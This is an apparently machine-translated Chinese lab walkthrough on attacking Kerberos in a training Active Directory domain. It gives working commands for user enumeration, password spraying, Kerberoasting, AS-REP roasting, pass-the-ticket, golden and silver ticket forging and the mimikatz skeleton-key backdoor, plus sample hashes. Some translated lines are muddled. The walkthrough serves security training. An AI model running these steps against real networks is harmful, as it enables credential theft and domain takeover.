介绍
这个房间将涵盖攻击 Kerberos 的所有基础知识以及 windows 票证授予服务;我们将介绍以下内容:
- 使用 Kerbrute 和 Rubeus 等工具进行初始枚举
- kerberoasting
- 使用 Rubeus 和 Impacket 进行 AS-REP 烘焙
- 金/银票攻击
- 传票
- 使用 mimikatz 的万能钥匙攻击
什么是Kerberos?
Kerberos 是 Microsoft Windows 域的默认身份验证服务。通过使用第三方票证授权以及更强的加密,它旨在比 NTLM 更“安全”。尽管 NTLM 有更多的攻击向量可供选择,但 Kerberos 仍然有一些潜在的漏洞,就像我们可以利用的 NTLM 一样。
常用术语
票证授予票证 (TGT) - 票证授予票证是一种身份验证票证,用于从 TGS 向域中的特定资源请求服务票证。
密钥分发中心 (KDC) - 密钥分发中心是一种用于发布 TGT 和服务票证的服务,包括身份验证服务和票证授予服务。
身份验证服务(AS) - 身份验证服务发出 TGT 以供域中的 TGS 使用, 以请求访问其他机器和服务票证。
票证授予服务 (TGS) - 票证授予服务获取 TGT 并将票证返回到域上的机器。
服务主体名称 (SPN) - 服务主体名称是提供给服务实例的标识符,用于将服务实例与域服务帐户相关联。Windows 要求服务具有域服务帐户,这就是服务需要 SPN 集的原因。
KDC 长期密钥 (KDC LT Key) - KDC 密钥基于 KRBTGT 服务帐户。它用于加密 TGT 和签署 PAC。
客户端长期密钥(客户端 LT 密钥) - 客户端密钥基于计算机或服务帐户。它用于检查加密的时间戳并加密会话密钥。
Service Long Term Secret Key (Service LT Key) - 服务密钥基于服务帐户。它用于加密服务票证的服务部分并签署 PAC。
会话密钥- 在发布 TGT 时由 KDC 发布。用户在请求服务票证时将向 KDC 提供会话密钥以及 TGT。
特权属性证书 (PAC) - PAC 保存用户的所有相关信息,它与 TGT 一起发送到 KDC,由目标 LT 密钥和 KDC LT 密钥签名,以验证用户。
详细的带预认证的AS-REQ
当用户从 KDC 请求 TGT 时,Kerberos 身份验证中的 AS-REQ 步骤开始。为了验证用户并为用户创建 TGT,KDC 必须遵循这些确切的步骤。第一步是用户加密时间戳 NT 哈希并将其发送到 AS。KDC 尝试使用来自用户的 NT 散列来解密时间戳,如果成功,KDC 将为用户发布 TGT 以及会话密钥。
TGT内容
为了了解服务票证是如何创建和验证的,我们需要从票证的来源开始;TGT 由用户提供给 KDC,作为回报,KDC 验证 TGT 并返回服务票证。
服务单内容
要了解 Kerberos 身份验证的工作原理,您首先需要了解这些票证包含什么以及如何验证它们。服务票据包含两部分:服务提供部分和用户提供部分。我会把它分解成每个部分包含的内容。
- 服务部分:用户详细信息、会话密钥、使用服务帐户 NTLM 哈希加密票证。
- 用户部分:有效性时间戳、会话密钥、使用 TGT 会话密钥加密。
Kerberos 身份验证概述
AS-REQ - 1.) 客户端请求身份验证票证或票证授予票证 (TGT)。
AS-REP - 2.) 密钥分发中心验证客户端并发回加密的 TGT。
TGS-REQ - 3.) 客户端将加密的 TGT 发送到带有客户端想要访问的服务的服务主体名称 (SPN) 的票证授予服务器 (TGS)。
TGS-REP - 4.) 密钥分发中心 (KDC) 验证用户的 TGT 以及用户有权访问服务,然后将服务的有效会话密钥发送给客户端。
AP-REQ - 5.) 客户端请求服务并发送有效的会话密钥以证明用户具有访问权限。
AP-REP - 6.) 服务授予访问权限
Kerberos 票证概览
您将看到的主要票证是授予票证的票证,这些票证可以以各种形式出现,例如 Rubeus 的 .kirbi 和 Impacket 的.ccache。您将看到的主要票是 .kirbi 票。票证通常是 base64 编码,可用于各种攻击。授予票证的票证仅与 KDC 一起使用以获取服务票证。将 TGT 提供给服务器后,服务器将获取用户详细信息、会话密钥,然后使用服务帐户 NTLM 哈希加密票证。然后,您的 TGT 会给出加密的时间戳、会话密钥和加密的 TGT。然后,KDC 将对 TGT 进行身份验证并返回所请求服务的服务票证。普通的 TGT 仅适用于与其连接的给定服务帐户,但是 KRBTGT 允许您获得所需的任何服务票证,从而允许您访问所需域上的任何内容。
攻击权限要求
- Kerbrute 枚举 - 无需域访问
- 传递票证 - 以用户身份访问所需的域
- Kerberoasting - 以任何需要的用户身份访问
- AS-REP Roasting - 以任何需要的用户身份访问
- Golden Ticket - 需要完整的域妥协(域管理员)
- Silver Ticket - 需要服务哈希
- 万能钥匙 - 需要完整的域妥协(域管理员)
KDC由AS,TGS两项服务组成
Kerbrute的枚举
Kerbrute 是一种流行的枚举工具,用于通过滥用 Kerberos 预身份验证来暴力破解和枚举有效的活动目录用户。
下载安装
您需要将DNS域名与机器 IP添加 到攻击者机器内部的 /etc/hosts 中,否则这些攻击对您不起作用 -10.10.2.254 CONTROLLER.local
滥用预认证概述
通过强制 Kerberos 预身份验证,您不会触发帐户登录失败事件,这可能会向蓝队抛出红旗。当通过 Kerberos 进行暴力破解时,您可以通过仅向 KDC 发送单个UDP帧来进行暴力破解,从而允许您从单词列表中枚举域上的用户。
使用Kerbrute 枚举用户
下载词表
https://github.com/Cryilllic/Active-Directory-Wordlists/blob/master/User.txt
./kerbrute userenum --dc CONTROLLER.local -d CONTROLLER.local User.txt
这将使用提供的单词列表从域控制器中暴力破解用户帐户
Rubeus 的收获和暴力破解门票
https://github.com/GhostPack/Rubeus
Rubeus 是攻击 Kerberos 的强大工具。Rubeus 是对 kekeo 工具的改编,由著名的活动目录专家 HarmJ0y 开发。
Rubeus 具有多种攻击和功能,使其成为攻击 Kerberos 的通用工具。许多工具和攻击中的一部分包括越过哈希、票证请求和续订、票证管理、票证提取、收获、通过票证、AS-REP 烘焙和 Kerberoasting。
用Rubeus收获门票
在目标机器上编译运行Rubeus.exe harvest /interval:30
该命令告诉 Rubeus 每 30 秒收获一次 TGT
使用 Rubeus 进行暴力破解/密码喷洒
Rubeus 既可以暴力破解密码,也可以破解密码喷射用户帐户。当暴力破解密码时,您使用单个用户帐户和密码单词表来查看哪个密码适用于该给定用户帐户。在密码喷射中,您提供一个密码,例如 Password1,然后对域中所有找到的用户帐户进行“喷射”,以找出可能拥有该密码的用户帐户。
这种攻击将获取一个给定的基于 Kerberos 的密码,并将其喷洒到所有找到的用户上,并给出一个 .kirbi 票证。此票证是一个 TGT,可用于从 KDC 获取服务票证,也可用于通过票证攻击等攻击。
在使用 Rubeus 进行密码喷洒之前,您需要将域控制器域名添加到 windows 主机文件中。您可以使用 echo 命令将 IP 和域名添加到机器中的 hosts 文件中:echo 10.10.2.254 CONTROLLER.local >> C:\Windows\System32\drivers\etc\hosts
Rubeus.exe brute /password:Password1 /noticket
这将采用给定的密码并将其“喷洒”给所有找到的用户,然后为该用户提供 .kirbi TGT
Rubeus 和 Impacket 的 Kerberoasting
最流行的 Kerberos 攻击之一——Kerberoasting。
Kerberoasting 允许用户为具有已注册 SPN 的任何服务请求服务票证,然后使用该票证来破解服务密码。如果服务有注册的 SPN,那么它可以是 Kerberoastable,但是攻击的成功取决于密码的强度、是否可跟踪以及破解服务帐户的权限。要枚举 Kerberoastable 帐户,我建议使用像 BloodHound 这样的工具来查找所有 Kerberoastable 帐户,它可以让您查看如果他们是域管理员可以使用 kerberoast 的帐户类型,以及他们与域的其余部分的连接类型。这有点超出了这个房间的范围,但它是寻找目标客户的好工具。
为了执行攻击,我们将同时使用 Rubeus 和 Impacket,以便您了解用于 Kerberoasting 的各种工具。还有其他工具,例如 kekeo 和 Invoke-Kerberoast,但我会让您自己研究这些工具。
Rubeus 的 Kerberoasting
这将转储任何 kerberoastable 用户的 Kerberos 哈希Rubeus.exe kerberoast > result.txt
踩坑
把hash复制到本机notepad++清理一下换行符和空格才能用hashcat跑hashcat -m 13100 -a 0 hash.txt rockyou.txt
法二Impacket
Impacket 版本自 0.9.20 以来一直不稳定 我建议安装 Impacket < 0.9.20
1.)cd /opt
导航到您的首选目录以将工具保存在
2.) 从 https://github.com/SecureAuthCorp/impacket/releases/tag/impacket_0_9_19下载预编译包
3.)cd Impacket-0.9.19
导航到 impacket 目录
4.) pip install .
- 这将安装所有需要的依赖项
Impacket 的 Kerberoasting
impacket/examples/GetUserSPNs.pypython3 GetUserSPNs.py controller.local/Machine1:Password1 -dc-ip 10.10.2.254 -request
这将转储它可以在目标域上找到的所有 kerberoastable 帐户的 Kerberos 哈希,就像 Rubeus 一样;但是,这不必在目标机器上,可以远程完成。hashcat -m 13100 -a 0 hash.txt Pass.txt
这个工具没有格式问题,hashcat直接跑
AS-REP 烘烤与 Rubeus
与 Kerberoasting 非常相似,AS-REP Roasting 会转储禁用 Kerberos 预身份验证的用户帐户的 krbasrep5 哈希值。与 Kerberoasting 不同,这些用户不必是服务帐户,能够 AS-REP 烘焙用户的唯一要求是用户必须禁用预身份验证。
我们将继续使用 Rubeus,就像我们使用 kerberoasting 和收获一样,因为 Rubeus 有一个非常简单且易于理解的命令来 AS-REP 烘烤和攻击禁用 Kerberos 预身份验证的用户。从 Rubeus 转储散列后,我们将使用 hashcat 来破解 krbasrep5 散列。
还有其他用于 AS-REP Roasting 的工具,例如 kekeo 和 Impacket 的 GetNPUsers.py。Rubeus 更易于使用,因为它会自动找到 AS-REP Roastable 用户,而使用 GetNPUsers 您必须事先枚举用户并知道哪些用户可能是 AS-REP Roastable。
AS-REP 烘焙概述
在预身份验证期间,用户哈希将用于加密域控制器将尝试解密的时间戳,以验证正在使用正确的哈希并且没有重播先前的请求。在验证时间戳之后,KDC 将为用户发出一个 TGT。如果禁用预身份验证,您可以为任何用户请求任何身份验证数据,并且 KDC 将返回一个可以离线破解的加密 TGT,因为 KDC 跳过了验证用户是否真的是他们所说的那个人的步骤。
使用Rubeus 转储 KRBASREP5 哈希
Rubeus.exe asreproast
这将运行 AS-REP 烤命令寻找易受攻击的用户,然后转储发现的易受攻击的用户哈希。
导出hash 在$krb5asrep$ 之后插入 23$hashcat -m 18200 hash.txt Pass.txt
Rubeus AS-REP Roasting 使用 hashcat 模式 18200
使用mimikatz传递票证
Mimikatz 是一个非常流行且功能强大的后期利用工具,最常用于在活动目录网络中转储用户凭据,但也可以使用 mimikatz 从 LSASS 内存中转储 TGT
这只是对通过票证攻击如何工作的概述,因为 THM 目前不支持网络,但我挑战你在自己的网络上配置它。
您可以在给定的机器上运行此攻击,但是由于域控制器的设置方式,您将从域管理员升级为域管理员。
通票概览
通过从机器的 LSASS 内存中转储 TGT 来传递票证。本地安全机构子系统服务 (LSASS) 是一个内存进程,将凭据存储在活动目录服务器上,并且可以将 Kerberos 票证与其他凭据类型一起存储,以充当网守并接受或拒绝提供的凭据。您可以像转储哈希一样从 LSASS 内存中转储 Kerberos 票证。当您使用 mimikatz 转储票证时,它会给我们一个 .kirbi 票证,如果域管理员票证在 LSASS 内存中,它可用于获取域管理员。如果周围存在不安全的域服务帐户票证,则此攻击非常适合特权升级和横向移动。如果您转储域管理员,该攻击允许您升级为域管理员 s 票,然后使用 mimikatz PTT 攻击模拟该票,允许您充当该域管理员。您可以将票证攻击视为通过票证攻击,例如重用现有票证并没有创建或销毁任何票证,这里只是重用域中另一个用户的现有票证并模拟该票证。
准备 Mimikatz & Dump 门票
您需要以管理员身份运行命令提示符:使用与进入计算机时相同的凭据。如果您没有提升的命令提示符,mimikatz 将无法正常工作。
mimikatz.exe
privilege::debug
请确保输出 [output ‘20’ OK],这意味着您没有正确运行 mimikatz 的管理员权限
sekurlsa::tickets /export
- 这会将所有 .kirbi 票证导出到您当前所在的目录中
找管理员票证类似管理员的关键词
使用票据
现在我们已经准备好票证,我们现在可以执行通过票证攻击以获得域管理员权限。kerberos::ptt <ticket>
- 在 mimikatz 中使用您之前获得的票证运行此命令。它将缓存并模拟给定的票证
提示ok就行了
klist 这里只是通过列出我们缓存的票证来验证我们是否成功模拟了票证。
现在已冒充票证,赋予您与您所冒充的 TGT 相同的权利。为了验证这一点,我们可以查看管理员共享。
请注意,这只是一个 POC,用于了解如何通过票证并获得域管理员您通过票证的方式可能会根据您参与的类型而有所不同,因此不要将其作为有关如何通过票证的明确指南运行此攻击。
通过票证缓解
让我们谈谈蓝队以及如何减轻这些类型的攻击。
- 不要让您的域管理员登录域控制器以外的任何东西——这很简单,但是许多域管理员仍然登录到低级计算机上,留下票证,我们可以用来攻击和横向移动。
mimikatz的金/银票攻击
Mimikatz 是一种非常流行且功能强大的后期利用工具,最常用于将用户凭据转储到活动目录网络中,但也可以使用 mimikatz 来创建银票。
银票有时比金票更适合用于实战,因为它更加谨慎。如果隐身和不被发现很重要,那么银票可能是比金票更好的选择,但是创建一张票的方法是完全相同的。两张票之间的主要区别在于,银票仅限于目标服务,而金票可以访问任何 Kerberos 服务。
银票的特定使用场景是您想要访问域的 SQL 服务器,但您当前的受感染用户无权访问该服务器。您可以通过对该服务进行 kerberoasting 来找到一个可访问的服务帐户以获得立足点,然后您可以转储服务哈希,然后模拟他们的 TGT,以便从 KDC 请求 SQL 服务的服务票证,从而允许您访问域的 SQL服务器。
KRBTGT 概述
为了充分了解这些攻击的工作原理,您需要了解 KRBTGT 和 TGT 之间的区别。KRBTGT 是 KDC 的服务帐户,这是向客户发放所有票证的密钥分发中心。如果您冒充此帐户并从 KRBTGT 创建一个黄金票证,您就可以为您想要的任何东西创建一个服务票证。TGT 是由 KDC 颁发的服务帐户的票证,并且只能访问 TGT 来自的服务,就像 SQLService 票证一样。
金/银票攻击概述
黄金票据攻击通过转储域上任何用户的票据授予票据来工作,这最好是域管理员,但是对于黄金票据,您将转储 krbtgt 票据,对于白银票据,您将转储任何服务或域管理员票。这将为您提供服务/域管理员帐户的 SID 或安全标识符,该标识符是每个用户帐户的唯一标识符,以及 NTLM 哈希。然后,您在 mimikatz 黄金票据攻击中使用这些详细信息,以创建一个模拟给定服务帐户信息的 TGT。
转储 krbtgt 哈希
privilege::debug
- 确保此输出 [权限 ‘20’ ok]lsadump::lsa /inject /name:krbtgt
这将转储散列以及创建金票所需的安全标识符。要创建银票,您需要更改 /name: 以转储域管理员帐户或服务帐户(如 SQLService 帐户)的哈希值。
lsadump::lsa /inject /name:SQLService
lsadump::lsa /inject /name:Administrator
创建金/银票据
Kerberos::golden /user:Administrator /domain:controller.local /sid: /krbtgt: /id:
这是创建金票创建银票的命令,只需将服务 NTLM 哈希放入 krbtgt 槽,将服务帐户的 sid 放入 sid,并将 id 更改为 1103。
Kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-432953485-3795405108-1502158860 /krbtgt: 72cd714611b64cd4d5550cd2759db3f6 /id:1103
银票据kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt
把sid 填 sid , rce4填ntlmhash 用户名随意kerberos::golden /domain:controller.local /sid:S-1-5-21-432953485-3795405108-1502158860 /target: controller.local /rc4:2777b7fec870e04dda00cd7260f7bee6 /user:Administrator /ptt
使用金/银票据访问其他机器
1、misc::cmd
这将使用 mimikatz 中的给定票证打开一个新的提升命令提示符。
2、
访问您想要的机器,您可以访问的内容取决于您决定从中取票的用户的权限,但是如果您从 krbtgt 取票,则您可以访问整个网络,因此称为黄金票;但是,银票只能访问用户可以访问的那些,如果它是域管理员,它几乎可以访问整个网络,但是它比金票稍微低一些。dir \\DESKTOP-1\c$
如果没有域中的其他计算机,此攻击将无法运行,但是我挑战您在自己的网络上配置它并尝试这些攻击。
mimikatz 的 Kerberos 后门
除了使用金票和银票保持访问权限外,mimikatz 在攻击 Kerberos 时还有另一个技巧。与金票和银票攻击不同,Kerberos 后门更加微妙,因为它的行为类似于 rootkit,将自身植入域林的内存中,允许自己使用主密码访问任何机器。
Kerberos 后门通过植入一个滥用 AS-REQ 验证加密时间戳的方式的万能密钥来工作。万能密钥只能使用 Kerberos RC4 加密。
mimikatz 万能密钥的默认哈希值是 _60BA4FCADC466C7A033C178194C03DF6_,这使得密码 -“ mimikatz ”
这只是一个概述部分,不需要您在机器上做任何事情,但是我鼓励您继续自己并添加其他机器并使用带有 mimikatz 的万能键进行测试。
万能钥匙概述
如上所述,万能密钥通过滥用 AS-REQ 加密时间戳来工作,时间戳是使用用户 NT 哈希加密的。然后域控制器尝试使用用户 NT 散列解密此时间戳,一旦植入了万能密钥,域控制器就会尝试使用用户 NT 哈希和 万能密钥 NT 哈希来解密时间戳,从而允许您访问域林。privilege::debug
使用 mimikatz 安装万能钥匙
misc::skeleton
进入森林
默认凭据将是:“ mimikatz ”
示例:net use c:\\DOMAIN-CONTROLLER\admin$ /user:Administrator mimikatz
- 现在无需管理员密码即可访问共享
示例:dir \\Desktop-1\c$ /user:Machine1 mimikatz
- 在不知道哪些用户可以访问 Desktop-1 的情况下访问 Desktop-1 的目录
万能钥匙不会自行持久化,因为它在内存中运行,它可以使用其他工具和技术编写脚本或持久化,